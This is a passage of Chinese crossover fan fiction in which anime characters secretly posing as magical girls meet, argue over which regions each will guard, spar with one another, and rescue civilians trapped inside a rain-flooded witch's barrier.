太宰治走向了丘比所在的方向。 丘比躺在地上一动不动，头颅处深深地插进了一支箭矢，已经死得不能再死，血液顺着它白色的身躯不断地往下淌，染红了地面…… 太宰治语气莫名道：“真的死了啊。” 伏黑惠有点看不下去，和丘比相处了这么些时间，虽然也没有积累起多么深刻的情谊，但也绝对做不到冷眼旁观它的死亡。 “为什么……” 伏黑惠不明白，丘比和朔夜这是有什么仇什么怨，会使得朔夜下这样狠的手。 如果丘比死掉了，以后不就再也没有魔法少女诞生了吗？那谁来处理那些魔女？ 太宰治看出了伏黑惠的困惑，平淡地说道：“或许是为了利益吧。” “……利益？” 伏黑惠顿了顿，难以想通。 “魔女的数量目前没有那么多，所以悲叹之种也同样是有限的。” 太宰治说道：“魔法少女的数量越多，不可控因素也就越多，朔夜便无法得到充足的悲叹之种，不能保持实力。” “只要杀死丘比，就相当于一劳永逸地解决掉今后的所有魔法少女了。” “就为了悲叹之种？” 伏黑惠忍不住问道。 太宰治似是很习惯地说：“人类为了自身的利益什么都做得出来。” 15岁的高中生伏黑惠尽量去理解太宰治的话，却无法像对方一样，淡然地面对这一切。 “可是……” 此刻，伏黑惠却忽然想起那天在医院，朔夜不理会他的道谢，只是淡淡地说，她是为了悲叹之种而来的…… 伏黑惠顿了顿，想着至少当时朔夜间接帮了自己和津美纪，继续道： “可是，之前我问丘比的时候，它说过自己和朔夜的关系还可以，把朔夜约过来是没什么问题的……” 既然关系还可以，朔夜不至于会为了这个就杀死丘比吧？ “其实，如果今后魔女的数量不会变得像刚才幻境里的那样多，丘比的存在确实对我们没什么好处。” 太宰治说道。 伏黑惠皱眉看着她。 “怎么这样看我？我只是理性分析吧？” 太宰治也没多在意，继续说道：“尤其是在所有人都知道我们几个魔法少女的存在之后，难免不会有人在丘比那里许愿，希望我们全部成为其傀儡，又或是对方想要成为世界仅有的魔法少女。” 伏黑惠因对方话里的内容愣了一下，她倒是没有想过这些。 “这些的可能性虽然不算大，但也总是有的吧。更别提其他人或组织知道了魔法少女的真相之后，逼迫别的女孩子签约许下统治世界这类糟糕的愿望……” 太宰治道：“直接杀死丘比，确实是很好的办法。” 伏黑惠沉默了会儿，问道：“那你会这么做吗？” “我吗……” 太宰治笑了笑。 出乎意料的是，她说：“我当然不希望丘比死掉了，我还期待着有新的魔法少女能够帮我许愿，直接让我无痛死亡呢。” 伏黑惠：“……？” 听不懂，不过这也算是得到了对方否定的回答吧？ 伏黑惠望向另一边的白发少女。 此时那个人已经收回了弓，看着不远处丘比死相惨烈的尸体，她的脸上没有流露出任何后悔不忍的表情，而是一如既往的平静。 伏黑惠说不准心里是什么滋味。 先前对于朔夜的所有好的那些印象仿佛都打乱重洗了，不变的是脑海里对方始终冷漠的模样。 太宰治也盯着朔夜，想着能不能看出对方此刻刚杀了丘比之后的心情。 但是却失败了。 对方仿佛就像是踩死了一只虫子，没有任何喜怒，平淡地仿佛没有感情一般。 如果这是演技，那对方一定有着非常高超的、比太宰治见过的所有人都要厉害的演技。 但如果是对方的真实情感……那就非常恐怖了。 太宰治在想，朔夜该不会是有什么先天性情感缺失的疾病吧？ 不过，还不能确定这一点，太宰治倒是觉得朔夜越看越熟悉，就好像曾经见过和她相似的人一样…… 白发、青瞳…… 太宰治想起刚才的那声未完的“朔……”，微微有点失神。 伊江朔久？ 他和朔夜确实还真有不少相似之处。 但是，两人之间的不同也足够醒目。 光是性格就天差地别。 就算是杀了丘比有无数的益处，伊江朔久也不会为此而对它出手。 还有时别四年，伊江朔久的腿疾看起来没怎么变好，操控轮椅却是越来越熟练了。 所以，朔夜怎么也不可能是伊江朔久。 那么……伊江朔久会不会有什么姐妹呢？他们两人之间是否有些血缘关系呢？ 这个可能性倒是确实存在。 太宰治决定回去之后好好调查一番。 就在这时，太宰治忽然感觉到自己肩上冷不防搭上了一只手，微冷的触觉使其罕见地轻轻打了个颤。 但是，太宰治没怎么紧张。 那只手很明显是少女的，而自己才在之前这么吓过禅院穗。 不过按照自己对禅院穗的认识来看，对方应该不会在这种时刻故意吓唬自己吧？ 太宰治没有侧头去看，而是先试探性地开口：“禅院，你……” 还没说完，太宰治就听见了旁边伏黑惠的声音：“津岛，都这种时候了，你能别再重复这种无聊的把戏吗？” 太宰治：“……？” 太宰治立即为自己申辩：“我哪有这么无聊。” 伏黑惠此刻也微微侧头，看到了太宰治两只手都好好地放在身侧，根本抽不出手来吓唬自己。 但是一想到对方先前的举动，她就忍不住脱口而出道：“你不是一直这么无聊吗？” 太宰治再次沉默。 不久前射出的回旋镖，居然这么快就命中了自己。 这个时候，周围的景象忽然慢慢淡化了下去，幻境再次发生变化。 两人保持着十足的警惕，如今也只能以不变应万变。 不过，周围的场景消失之后，没有像上一次般继续幻化出新的场景，而是回到了最初的那条巷子里。 她们被旁人搭上肩膀的触感也紧跟着消失了。 一切好像恢复了正常，不过她们都无法再立刻安下心来。 伏黑惠下意识地询问太宰治：“津岛，我们这算是离开幻境了吗？” “这点可以用我的书页来试……” 太宰治话说到一半停下，有所察觉地向身后望去。 伏黑惠也跟着回头看去。 白发少女正无声无息地站在她们两人身后。 就如同先前在幻境中看到的一样，对方与之没有丝毫不同，依旧是没什么表情的脸。 但很显然，刚才搭在她们肩上的人就是朔夜。 伏黑惠看着那双平静的青瞳，不由得回忆起了幻境里，对方没有丝毫犹豫地拉弓射箭时的模样。 ……还有那躺在血泊里，被箭矢贯穿了头颅的丘比。 伏黑惠的心里不觉升起了寒意。 在这一片沉默之中，太宰治最先开口。 她就像是没见过之前幻境里朔夜击杀丘比一般，语气态度丝毫没有见外，亲近友好地道： “前辈，好巧呀，你怎么在这里？” “来赴约，路过这里。” 这个回答看起来倒也是合理，这条巷子离太宰治的那处安全屋距离很近。 不过却是个死胡同，不可能直接路过这里，大概朔夜是感知到魔女的气息后过来的。 “所以，是前辈你将我们从刚才的幻境里叫醒的吗？”太宰治问完后，没等对方回答就直接说道：“真是太感谢你了。” “什么幻境？”朔夜反问道。 “刚才我们发现魔女的踪迹，所以才进入了这个巷子。” 太宰治简单解释：“不过一进来，周围就换了一个场景。但不是魔女的结界，而是别的场景，当时我都用不了自己的能力。” 朔夜追问：“你们看见了什么？” 伏黑惠抿了抿嘴，不想回答。 太宰治则避重就轻道：“那幻境简直就如同噩梦一般，里面全是数不清的魔女，超级恐怖的。所以我们立刻就察觉到那不是现实了。” 朔夜想了想，道：“我刚才看到你们都立在原地不动，周围残留有魔女的气息……不过现在它应该是已经跑远了。” “……这样啊。” 太宰治有点不明白，为什么对方没有直接去追刚才的那只魔女，而是留下来唤醒她们两个。 不过稍微一思索，她就也理解了。 等会儿是难得的所有魔法少女齐聚的机会，朔夜说不定和那位艾尔菲小姐想的一样，所以才以此来拉拢她们。 也是难为对方了，朔夜虽然实力很强，但这个性格想要和人打好关系估计不是一般的困难吧。 第66章 本来伏黑惠来到指定地点的时候，距离约定好的时间还有很久。 可是经过那个不知真假的所谓的预言魔女的幻境后，不仅是她，连津岛和朔夜都一起迟到了。 津岛还没有提前给大家钥匙，导致其他人只能在门口等着。 而且因为这次的聚会非常重要，别的人也是提早来的，所以被迫站在门口等待的时间就更长了。 等到津岛终于到达，面对的就是两个情绪不佳的魔法少女，还有一只尚且活生生的丘比。 那两个魔法少女一个是她之前见过的艾尔菲，另一个倒是从未见过、也没在网络上看到其任何信息的黑发少女。 前者虽然能看得出来有些生气，但是却没有明显表现出来。至少除了太宰治这种把握人心的高手外，其他人很难看出来。 当然，菲茨杰拉德确实不喜欢迟到浪费时间的人，但是这种时候也只能压抑着情绪，为了先和她们打好关系。 而那个没怎么暴露过信息的魔法少女，看起来则直白多了。 “约好的时间不是十几分钟前吗？” 太宰治以少女口吻撒娇似的道：“不好意思啦，我们路上意外遇到了魔女，所以才耽搁了些时间。” “……好吧。” 松田阵平有点不适应地沉默了一瞬，才回应道，心想自己果然还是不适合跟女孩子打交道，这种事应该交给萩来才对。 太宰治则笑了起来。 看出这个陌生的魔法少女还是很好说话的。 太宰治开了门，邀请几位进门，在客厅的沙发上坐下。 不过也就仅限于此了，她自己都没多少钱，才不会假装大方地请客给大家上点茶饮水果呢。 气氛一时间有点凝滞。 伏黑惠总是忍不住盯着丘比看，显然仍念念不忘刚才幻境里对方惨烈的模样。 而其他人则都是成年人了，大多都不习惯和年少的女孩子相处交流，混入这种几乎全是少女的聚会。 虽然伊江朔久知道大家都彼此彼此，实际上全是货真价实的男性。 不过，她这个马甲的性格也不适合开口说话，多说多错。 “我们都自我介绍一下吧，我叫津岛，你们应该也在网上听说过吧。” 太宰治微笑着道。 “嗯，我的名字是艾尔菲。”菲茨杰拉德紧跟着道。 “我叫禅院穗。” “朔夜。” 这几个人的回答一个比一个简短，最后轮到松田阵平，她可疑地犹豫了一会儿，才开口：“……我叫松代。” 松田阵平实在不是擅长说谎的类型。 她也知道自己这次过来见面，总得给其他人报个名字，所以要提前起个假名才行。 但考虑到自己不习惯假名，很可能会在别人叫到自己假名的时候，因生疏而失误。 所以她就想了个和自己原本姓氏松田Matsuda，读音很相似的松代Matsudai。这样就可以强行洗脑自己，别人是在喊自己松田了。 菲茨杰拉德勉强适应了一下氛围，按捺住自己心里的别扭，率先提出话题。 “既然大家都是难得抽出空来到这里的，我们就直接开始讲正事吧。” 还没等其他人作出反应，金发少女就继续道： “最主要的应该是，先划分一下各自处理魔女的地区，免得之后解决魔女的时候，大家碰巧撞在一起，既耽误时间又容易产生矛盾。你们没有意见吧？” 松田阵平没有说话。 太宰治只是微笑。 伏黑惠犹豫了一下，出声道：“……没有。” “很好。”菲茨杰拉德便点点头，开始安排：“那么我就负责关东及中部地区，禅院你负责北海道地区，松代你负责九州及冲绳地区……” “停一下。”松田阵平打断了她的话，提出了反对意见：“这划分并不合理吧？” “没有吧，我提前划分好的各个地方面积都差不多。” 菲茨杰拉德也料到有人会不满意，她非常镇定地作出回答。 “和面积无关，重要的是地理位置吧？”松田阵平皱眉道。 在先前丘比的基础知识讲解后，所有人也都明白魔女是散播绝望的存在，会吸食人类的生命力。 所以自然会容易出现在人口多的地区。 菲茨杰拉德看似友好地道：“你是觉得分配给你的地区比较远是吗？别担心，那边的魔女数量也会相应的少许多，你不用经常跑过去解决魔女的。” 松田阵平：“我并不觉得解决魔女很麻烦。” “但是既然我们目前都算是同伴，我自然要为你们的安全考虑。” 菲茨杰拉德不急不慢地道：“你和禅院平常都比较忙吧，所以约了这么久才有空。如果你们需要处理的魔女太多，肯定会忙不过来的。” 金发少女看似说的很有道理。 但她全程都是自然地以一个领导者的口吻说的，将全国经济文化政治的核心区域留给自己，再表现出一副为了她们好的模样。 松田阵平难以从金发少女的话里挑出毛病来，敏锐的直觉却看出了对方的虚伪。 要不是艾尔菲是一个未成年的女孩子，松田阵平都有些忍不住想跟她打一架了。 伏黑惠也同样不知道该说什么。 虽然她不想负责那么远的北海道，但是她作为在场唯一一个还需要上学的高中生，平常确实难以抽出空闲时间。 这时候，太宰治开口了：“现在就开始划分全国范围，是不是有点太遥远了呢？” 丘比默默点头。 太宰治道：“目前魔女只在东京范围内出现过吧？就算之后继续扩散，一时半会儿应该也不会超出关东及中部地区。” 菲茨杰拉德有点头疼，从上次和津岛的相处中，她就察觉到对方有点难缠了。 她退了一步，说道：“好吧，那我就先负责东京这个地区吧。” 太宰治没再反驳，而是看向一旁的白发少女，问道：“朔夜前辈，你怎么看呢？” 朔夜简短而直接，丝毫不给对方面子地道：“我负责东京。” 菲茨杰拉德气得反笑了起来，问道：“凭什么？” 空气里的火药味忽然变得愈发浓重了。 第67章 菲茨杰拉德随之想起上次跟津岛说过的话，津岛答应了她，如果她能胜过朔夜，津岛就会转而支持自己。 于是，她正好开口道：“东京这么危险的地方，当然还是谁更有能力，谁来负责比较好。不如我们来切磋一下吧？” 朔夜还没说话，太宰治就连忙开口：“不行，这里是我的安全屋。你们随便一破坏，知道我有多难做吗？” 太宰治之前是为了试探她们各自的实力，才鼓动艾尔菲的。 但是，如今已经在幻境里见过了朔夜出手的样子。 虽然对方当时显然只是随手一击，杀的仅仅是丘比这样柔弱的生物，但太宰治也能判断出对方的实力应该远胜于她和禅院穗。 这样就够了，没必要再把自己的安全屋折进去了。 菲茨杰拉德倒是不知道太宰治为何一副变卦的样子，但都已经说出来了，她便继续道：“所有的损失我都会加倍赔给你。” “……啧，有钱人。” 太宰治半天只吐出这几个字。 松田阵平也是难得成为劝架的人，平常他都是打架的那一个，虽然劝架的语气并不温和： “在这里不行，在附近有其他人的地方也不行。” 伏黑惠点头道：“会波及到旁人的。” 菲茨杰拉德只能想说换个地方：“那就……” 朔夜便直接道：“那就不动用魔法。” 这个提议比换个地方更有利于菲茨杰拉德。 她琢磨过自己的新能力，大致能够判断出改变物品的物质材料那种能力，熟练运用之后，或许能够在实战中发挥不错的实力。 可惜现在她自己的熟练度还是太低了。 之所以有自信和别人宣战，是因为菲茨杰拉德还掌控着能够将自身财富转化成实力的异能力。 如果等会儿能悄悄动用这个能力，她觉得打败这几个女孩子大概不成问题。 只是这异能力挺费钱的。 虽然她现在能够点石成金，但也不好在没有悲叹之种的前提下频繁使用魔法，更何况还得用金钱来维系她自己手下的异能者集团组合。 所以，如果什么能力都不动用便最好了。 只是简单的体术较量而已，菲茨杰拉德不认为自己一个体术本就非常好的成年男性，会敌不过对面的少女。 虽然，菲茨杰拉德也不怎么想欺负看起来和自己女儿差不多大的女孩子，不过也没有办法了。 艾尔菲道：“那好，你先吧。” 朔夜：“不用。” 菲茨杰拉德无言，对方非要拒绝的这种心理，自己倒是也能理解。青春期的孩子都这样，津岛看起来也是这样别扭，还想一出是一出的。 算了，反正自己动手也会有个分寸，又不会怎么伤到对方。 想到这里，她便不再浪费时间地出手了，试图先制住对方，直接结束这场切磋。 在一旁被迫看戏的太宰治，微笑着替她鼓掌。 而松田阵平则不禁专注地盯着金发少女出手时的动作，与自己之前想象的不同，艾尔菲很明显是练过的。 而且水平应该很不错，不是短短几年就能练出来的。 不过，朔夜的反应倒也是出人意料的快，完全没让对方占到先出手的便宜。 菲茨杰拉德立刻收起原先下意识轻视的心理，开始认真对待。 然而就算打起了十二分的精神，她也没能占到优势，反而觉得总是有些力不从心。可相反朔夜却应对得要轻松许多。 太宰治观战看得很明显，艾尔菲并不熟悉变身后的身体，所以使用原本的格斗技巧时，比较容易露出破绽。 很显然，艾尔菲和自己一样是刚契约没多久的，可能比自己契约得还要晚。而朔夜则应该要比她们早得多。 又或者是……艾尔菲原本的身体和现在的身体差别很大，难道说她其实也是成年男性吗？ 还需要再多验证一下。 这次切磋很快就决出了胜负。 菲茨杰拉德沉默片刻，才道：“你赢了……那么这个地区今后的魔女归你。” 朔夜也没有谦让，点了点头算是应下。 两人这种相处模式，就算是擅长把握人心的太宰治也难以让氛围活跃起来，更别说旁边还坐着此刻同样话少的伏黑惠和松田阵平。 这种时候，也只能由丘比开口了，它先望向白发少女：‘朔夜，你还记得我们之前说过的话吗？’ 朔夜：“……嗯，我知道了。” 丘比和朔夜一副毫不掩饰隐藏着什么秘密的样子，让周围人都有些诧异。 其中最惊讶的就是伏黑惠了，伏黑惠不明白为什么丘比和朔夜现在看起来……关系似乎还不错。 丘比一开口，朔夜就显得不那么生人勿进了。 而伊江朔久操控着这两个身体这么艰难做戏，也只是为了这个团体。不让丘比帮忙，朔夜就真的只能游离在魔法少女团队之外了。 丘比道：‘虽然说划分范围解决魔女更有效率，不过考虑到在座的有不少是刚签约没多久的，所以我请了朔夜暂且来帮忙教导一下大家。’ 伏黑惠：“……啊？” 太宰治也不由问道：“她同意了？” 丘比丝毫不心虚地说：‘同意了。’ 朔夜没说话，权当默认。 丘比：‘你们之前不是有说过，不太能精准地掌握魔法，难以发挥自己魔法的多种用法吗？还有与魔女的实战经验不够，这些都可以拜托朔夜。’ 松田阵平皱眉问道：“那你呢？” 丘比可疑的没有第一时间回答。 “丘比估计还要忙着找新的少女签订契约吧，真是有了新人就忘了旧人。”太宰治幽幽地道。 丘比说道：‘……肯定还是朔夜能比我更好地教你们，所以我当然只能选择拜托她来接手。’ 这也确实有道理。 毕竟丘比看起来只是白色的可爱吉祥物，的确应该还是让身为魔法少女的前辈出面，才能更高效地提升她们的魔法使用水平。 不过……到底为什么朔夜会答应这种吃力不讨好的事情啊。 伏黑惠忍不住想，该不会是丘比抓住了朔夜的什么把柄，所以朔夜之后才会毫不留情地杀了它吗？ 第68章 虽然大家都对朔夜来教导她们这件事产生了质疑，但是最终还是同意了。 毕竟这对她们来说，好处总比坏处多。 随后又在丘比的推动下，她们互加了一下彼此的联系方式。 ‘如果遇到难以对付的魔女，你们就可以联系对方来帮忙，这样才能更好地保证大家的安全。’ 丘比道。 魔法少女们没说什么话，顶多脸上挂着礼貌的微笑。 在每个人都隐藏着重要秘密的前提下，她们自然无法做到真正的和睦相处，也难以向对方托付信任。 所以接下来，她们又聊了一会儿，便很快没了话题。 几乎所有人都想从对方身上套取情报，却不想说出自己的任何信息。 伊江朔久有点无奈。 这样完全不团结、犹如一盘散沙的团队……如果之后面对很危险的魔女，她们怎么能够配合默契地打败敌人呢。 按理来说，丘比是最适合让她们打破壁垒的存在了。 但是为了瞒住朔夜的消息，丘比之前已经摆出过会尊重其他人隐私的态度了，现在也不好随便改变态度。 暂时没办法了，只能先尽可能地提升她们各自的实力。 于是，在魔法少女们的聚会结束之后，朔夜就开始时不时地找人，给她们分别进行针对性的锻炼。 考虑到朔夜这个马甲的特殊性格，再加上担心她们是新人因而遇到魔女时可能很危险…… 所以，伊江朔久便采用了最朴实无华的教导方式。 ——名为切磋，实为打人。 虽然看起来似乎不太好，不过效果很显著。 在战斗过程中，她们的很多漏洞都被找了出来，关于魔法的使用也逐渐得心应手起来。 除此之外，这些魔法少女们的感情也奇迹般地好了一些。 她们甚至创建了一个群聊叫[只有四个人的群聊]，顾名思义这个群聊里面只有四个人，唯独没有朔夜。 本来太宰治还起了更古怪更花里胡哨的群名，结果被其他人联合抵制了。 而当初在聚会上其实她们也创建了一个所有人都在的群聊，名叫[魔法少女爱好者俱乐部]。 不过对比起来，这个五人群聊显得冷清多了，那个四人群聊反倒还算热闹，最近几乎每天都有人在线。 [只有四个人的群聊]里—— 津岛：【嗨，今天的受害者是谁？】 禅院穗：【也没必要用受害者这个词吧……】 虽然朔夜确实有点过于严苛了，伏黑惠回想起来自己被训练的经历，也觉得有些疲惫。 松代：【……是我，你们有谁能跟我换一下吗？】 津岛：【原来今天轮到松代酱了啊，你又没空吗？怎么看起来似乎比禅院酱还忙？】 上一次松代说自己有事去不了，无奈拜托其他人帮忙。 津岛便很积极地答应帮忙了，通过死缠烂打，使得朔夜将那次的训练目标换成了她。 她也因此得到了一个松代的人情，立刻把这个人情换给了禅院穗，终于成功地摆脱了之前因悲叹之种而欠下的禅院穗的人情。 松代：【没办法，实在不凑巧。】 虽然松田阵平没怎么厌烦朔夜的训练，但无奈自己身为警察的工作的确不清闲，时常会突然接到出警的通知。 而朔夜那个人也不好说话，完全不考虑她们是否有别的事情要忙，仿佛她们只有魔法少女这一个身份似的。 津岛：【不好意思，今天东京的天气预报显示不宜出门呢。】 禅院穗：【我还有别的事情，抽不出空来。】 艾尔菲：【＋1】 松代：【……】 松田阵平无可奈何，见指望不上这些塑料情义的同伴们，只能自己尝试解决。 他先给朔夜发了简讯询问能不能换个时间。 不出意外的，对方拒绝了。 朔夜还接着又发过来了一条简讯：【今天的训练不是切磋，而是由你去处理一只魔女。】 处理魔女？ 比起挨打，松田阵平确实对这个更感兴趣。 他之前虽然从丘比和朔夜那里知道了许多关于魔女的知识，但却还从来没有亲眼见过魔女的样子。 犹豫了一下，他问道：【具体位置在哪里？】 朔夜给他发了个坐标，说道：【我刚找到它的踪迹，你快点过来。】 松田阵平沉默。 他只好又一次地给上司发去了请假的申请。 虽然上司目暮十三还算好说话，但是经过他的频繁请假之后，对方这次也终于忍不住委婉地问他到底遇到了什么事情。 松田阵平没法说出真相，只能含糊其辞。 目暮十三见状更不放心了：【松田君啊，你是不是还是不习惯在搜查一课的工作？这段时间确实有点繁忙，但搜查一课就是这样，一段时间忙一段时间闲的，熬过去就好了。】 松田阵平也理解。 但重要的不是他是否习惯这种忙碌的工作，而是他还在外面偷偷做了魔法少女的兼职。 目暮十三：【或者说，松田君你有没有回爆.炸物处理班的想法？那边你也更了解，工作起来肯定是比我们这边要轻松的。】 松田阵平默了默，道：【我还是想留在搜查一课。不好意思，我会尽量调整好的。】 目暮十三便也不好再多说什么了。 松田阵平无声地叹了口气。 他先前非要转到搜查一课，是为了亲自逮捕害死了萩原研二的炸弹犯。 按理说现在炸弹犯已经被抓了，他也没有留下来的必要了，但是……松田阵平想到了如今还不知所踪的萩原研二。 那家伙也不知道现在到底处在一个怎样危险的境地，不愿意露面，也不怎么和自己联系…… 真是的，要是能逮着那家伙，他肯定要狠狠揍对方一顿。 可惜也不知道什么时候能见到对方…… 松田阵平只能留在搜查一课，这里能获得更多的信息，他想着或许更能帮到萩一些忙。 怀着复杂的情绪，松田阵平变了身，前往朔夜让松代去的地点。 接近那附近之后，松田阵平发现这个地方比较偏僻，目前应该不会有多少民众住在这里。 这也算是一件好事。 希望不会有人发现她来到了这里。 这些天在与朔夜的训练之后，松田阵平发现自己也不知何时被人录了下来，信息和片段视频被放到了魔法少女网站上。 ……这真是件痛苦的事情。 虽然松田阵平早有心理准备。 但是之前在警视厅里开会的时候，看到大屏幕上放着其他魔法少女和自己的照片，听着同事以及领导对此的探讨……他还是觉得有点难以呼吸。 真恐怖，原来成为魔法少女后，还要经历这么恐怖的事情。 松田阵平想想就觉得心有余悸。 就在这时，有一滴水珠落到了身上。黑发少女抬起头，发觉天上乌云密布，似乎很快就要下雨了。 她想起津岛之前推辞说今天天气预报显示不宜出门……没想到那居然是真话吗，可惜她忘记了带伞。 松田阵平此刻因为离得很近，已经感知了魔女结界的所在位置。 不过，她却没有完全发现朔夜的踪影。 对方是在她之前就进入了结界吗？ 她回忆了一下朔夜先前的话……等等，对方的意思该不会是让她过来独自处理这个魔女吧？ 松田阵平发消息问了一下朔夜，但是对方没回消息。 好吧…… 虽然没有处理过魔女，但好歹也训练过这么些日子了，松田阵平觉得自己一个人解决应该也不会有多大事情。 毕竟丘比说过，遇到难以解决的魔女，可以先从结界逃出去，之后再想办法处理。 于是，松田阵平便走进了结界。 一进入那里，她就仿佛被顷刻间淋成了落汤鸡。 魔女结界里的天气比外界还要恶劣得多，这里的天空已经接近于一片漆黑，大雨倾盆而下，低沉的雷鸣和刺耳的风声交织在一起。 周围是错综复杂的分岔路口，道路不仅蜿蜒曲折，地表更是崎岖难走。 积累起来的雨水已到了黑发少女的小腿处。 面对如此可怖的景象，松田阵平倒是没有生出退意，反而更坚定着意志向前走去。 她直直地选定了一条道路走进去。 之所以觉得走这条路可以找到魔女，是因为她隐约能听到这条道路里面传来的哭声。 根据上次在医院遇到的情况，松田阵平猜想声音的源头应该就是魔女所在的位置。 不过随着距离逐渐拉近，松田阵平听出了点不对劲来，那个声音不像是什么怪物的声音，反而像是少女的声音…… 等到距离更近的时候，松田阵平听到了一些交谈声。 少年的声音先响起：“别哭了，我们先想想办法吧。” “哪里还有什么办法啊，这完全不是科学能解释的场景嘛，我们很可能会死在这里的……” 那少女越说哭声越大。 “园子，你别着急，你不是向来说我的运气很好吗，我一定会带你走出去的。” 另一个少女的声音虽然也在抖，听起来同样很害怕的样子，不过还是努力地安慰着同伴。 “兰呜呜呜，我不该拉着你们来调查这些事情的……” “没关系的，铃木小姐。”一个成年男性的声音宽慰道：“还没有到最糟糕的时候，我们说不定能走出去，再不济可能也会有人来救我们的。” 听到这里，松田阵平顿了顿，这个成年男性的声音似乎有点耳熟，该不会是自己认识的人吧。 而且听起来这几个人意外闯入这个魔女结界的，幸好她能及时过来，不然他们估计就危险了。 松田阵平走上前去，准备先将这几个人送出这里，之后她再去找魔女战斗。 离得近了，她也看到了那个男性的面貌，想起来自己为什么对他的声音熟悉又陌生了。 这个人她先前只见过一次，是在伊江的店里，她记得对方的名字似乎是——榎原健一？ 第69章 几人中的那个少年最先发现松田阵平的到来。 他微怔了一下，想出声喊却又先卡壳了，不由得拍了拍旁边的少女，示意道：“兰，你看……” 毛利兰看过去，看到那个先前只在网络上见过的身影，她一时间惊讶激动得有点结巴：“是、是……松代！” 黑色的及肩卷发、以及发丝里夹杂着的那抹蓝色挑染，算是很容易令人辨认出来了。 铃木园子高兴起来，都忘记了哭泣：“真的是松代吗？！我不会是在做梦吧？” 萩原研二有点听错了，疑惑地缓缓道：“……松田？” 松代和松田的发音非常相似。 铃木园子纠正道：“是松代啦，新出的魔法少女，所以你应该还没听说过她。” 萩原研二恍然：“哦噢，原来如此。” 松田阵平：“……” 被叫到松田的时候，她都本能地吓了一跳，好在是对方听错了。 不过，似乎被这些人称呼为魔法少女松代的这种感觉也怪怪的。 她勉力维持着镇定自若的模样，上前问道：“你们是怎么进入到这里来的？这里很危险。” 铃木园子连忙解释：“这旁边是我家的老宅，前段时间出现了漏水的问题，怎么都修不好，结果没过多久就莫名其妙地好了……但是这两天却又开始漏水。” “新一君说这很可能是人为，所以我就邀请大家过来帮忙找出真相。之后就随着可疑的线索，莫名其妙便来到了这个奇怪的地方。” 听到这里，松田阵平也明白为什么榎原健一会出现在这里了。 伊江和榎原合开了一家侦探事务所，估计榎原就是接下了这些未成年的委托，才跑过来的。 还好，来的不是伊江。 松代这个魔法少女开始暴露在公众视野之后，松田阵平都有些不好意思见到伊江，毕竟也就只有对方知道松代的实际身份了。 松田阵平：“这里是魔女的结界，我先带你们出去吧。” 两个少女连连点头。 那个名叫新一的15岁少年喃喃着魔女结界这几个字，似乎还是有点心神恍惚，难以相信这么反科学的事情。 萩原研二松了一口气：“那就多谢松代小姐了。” 不过，事情没有想象中的那么顺利。 松田阵平才带着他们往回走了几步，就遇到了措不及防的袭击。 这次的魔女结界里一直在下着大雨，雨水越积越多，他们几人的小腿都泡在水里。 然而，没人注意到，水里慢慢地多出了什么东西。 直到那东西忽然开始攻击他们…… “嘶——”萩原研二吃痛地叫了一声。 他动了动自己的左腿，好像甩掉了什么咬人的东西……但当他拿起手机、打开手电筒时，却怎么也看不见水里到底有任何东西。 好像一切只是他的幻觉般，但是他小腿上确实出现了鲜血淋漓的伤口。 紧接着，那东西也攻击起了其他人。 松田阵平警惕地注意着水里的动静。 她猜想那些咬人的东西应该是使魔。可是很奇怪，就连她也看不见水里到底有什么东西。 这不应该——明明丘比说过了，在她成为魔法少女之后，就能够看见魔女和使魔的。 松田阵平又仔细观察了几秒，才发现并不是自己看不见那些使魔，而是它们本身就是透明的水滴形状，混在水里自然很难被人注意。 不过作为普通人的毛利兰他们确实看不见这些使魔。 他们慌乱多了，只能尽可能地通过触觉，将爬到自己身上的使魔给甩开。 松田阵平抽出自己腿上绑着的手.枪，对准了他们，沉声道：“别动。” 那几个人有点紧张，不过还是向她托付了信任，尽可能地保持一动不动。 “砰、砰、砰……” 几声枪响过后，一些使魔被直接杀死，其他的使魔也因为畏惧而慢慢都退走了。 其他人看不见使魔，从头到尾都只能看见松代一个人的动作。 在松代暂且停下来之后，毛利兰小心翼翼地问：“那些怪物都死掉了吗？” “没有。”松田阵平摇摇头：“我只来得及杀掉一部分，其他的暂且逃走了。” “原来你们每天都是在与这么危险的怪物作斗争，真是太不容易了。” 劫后余生的铃木园子忍不住道：“亏那些警察还总是阴谋论，不分青红皂白，说你们的突然出现不怀好意……” 现任警察松田阵平：“……” 殉职警察萩原研二：“……” 松田阵平为他的同事们解释道：“倒也不是所有警察都这样，主要是上层对魔法少女的态度不好，所以其他警察也不便于站出来为其说好话。” “确实是这样。其实除了警方上层之外，国家其他阶级上层的人大多也是不怎么样的态度。” 工藤新一附和了两句，很快反应过来有点不对劲：“不过……松代小姐，你说话的感觉……” 怎么更像是站在警察那个阵营的。 他没来得及说完，突然发觉侧后方传来了巨大的动静。 几人纷纷回头看去。 虽然他们看不到闹出这动静的那个存在，但也能看到周围因此溅起的巨大水花。 显然这次出现的怪物，比之前在水里攻击他们的那些怪物要危险得多了。 “……是魔女。” 松田阵平看到了不远处的那个存在。 对方的身体像是由无数个水滴模样的拼贴画组成的，这些画片风格各异，却又和谐地融合在一起，形成了一种既错乱又有序的美感。 其四肢却并非实体，而是细长蜿蜒的水流，足以支撑其无比灵活地向他们所在的方位袭来。 而且，不久前才逃走的那些水滴形状的使魔，也在这个魔女的带领下卷土重来了。 松田阵平本来还以为等会儿要自己慢慢去找魔女，可是没想到这个魔女应该是察觉到了他们在结界里闹出的动静，所以主动找过来了。 但是她现在还没来得及把这几个普通人送走。 一会儿要是战斗起来，他们这几个人就危险了。 在松田阵平拿不定主意的时候，萩原研二看出了她的忧虑纠结，意识到有危险的敌人过来了，而松代此刻应该是在担心无法顾及到他们的安全。 萩原研二上前主动问道：“松代小姐，您能借我一把枪吗？” 松田阵平看向他。 萩原研二：“我会努力保护好这些孩子的，请不用担心。虽然我看不见那些怪物，但是会在你解决掉那个大怪物的时候，尽可能地支撑下去的。” 这也是没有办法的办法了。 松田阵平只得将用魔法构建出了一把枪，将其递给他：“小心，坚持不住的时候，一定记得提前叫我。” “请放心吧，小松代。” 萩原研二虽然脸上挂着微笑，但实际也确实比较紧张，连自己平常称呼别人时喜欢用的口癖都忍不住脱口而出了。 松田阵平不由得微微一愣。 第70章 这种称呼人的方式，听起来还真是耳熟…… 松田阵平还记得自己的幼驯染萩原研二也喜欢这么称呼人，只要那家伙稍微跟别人熟悉一些，就喜欢这样亲昵地叫人。 也好在萩原研二情商高，不容易被人讨厌，还总是更能因此和他人快速拉近距离。 当初松田阵平刚认识萩原没多久的时候，对方是先开始喊他小松田的，后来更熟了之后，对方就更亲近地叫他小阵平了…… 